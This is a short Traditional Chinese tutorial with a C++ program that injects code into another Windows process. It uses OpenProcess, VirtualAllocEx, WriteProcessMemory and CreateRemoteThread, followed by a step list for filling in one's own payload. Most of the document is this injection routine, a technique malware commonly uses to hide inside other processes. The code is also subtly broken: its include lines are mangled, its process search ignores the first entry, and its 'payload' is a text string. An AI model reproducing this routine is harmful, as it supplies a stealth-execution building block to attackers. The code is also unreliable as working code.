使用 `WriteProcessMemory` 進行進程注入是一種常見的非 DLL 注入技術。
以下是一個示例代碼,演示了如何使用 `WriteProcessMemory` 注入代碼到目標進程:
```cpp
#include#include int main() { // 目標進程名稱 const char* targetProcessName = "target.exe"; // 注入的代碼 const char* codeToInject = "Your code to inject"; // 獲取目標進程 ID DWORD targetProcessId = 0; PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(snapshot, &entry)) { while (Process32Next(snapshot, &entry)) { if (_stricmp(entry.szExeFile, targetProcessName) == 0) { targetProcessId = entry.th32ProcessID; break; } } } CloseHandle(snapshot); // 打開目標進程 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId); if (hProcess == NULL) { printf("Failed to open target process.\n"); return 1; } // 在目標進程中分配內存 LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, strlen(codeToInject), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (remoteMemory == NULL) { printf("Failed to allocate memory in the target process.\n"); CloseHandle(hProcess); return 1; } // 將代碼寫入目標進程內存 if (!WriteProcessMemory(hProcess, remoteMemory, codeToInject, strlen(codeToInject), NULL)) { printf("Failed to write code to target process memory.\n"); VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 在目標進程中創建遠程線程來執行注入的代碼 HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL); if (hRemoteThread == NULL) { printf("Failed to create remote thread in the target process.\n"); VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } printf("Code injected successfully.\n"); // 清理資源 WaitForSingleObject(hRemoteThread, INFINITE); VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); CloseHandle(hRemoteThread); CloseHandle(hProcess); return 0; }
在這個示例中,你需要將 `target.exe` 替換為目標進程的名稱,并將 `Your code to inject` 替換為要注入的代碼。代碼通
過以下步驟進行注入:
1. 獲取目標進程的 ID。
2. 打開目標進程并分配內存。
3. 使用 `WriteProcessMemory` 將代碼寫入目標進程內存。
4. 創建一個遠程線程來執行注入的代碼。
5. 清理資源。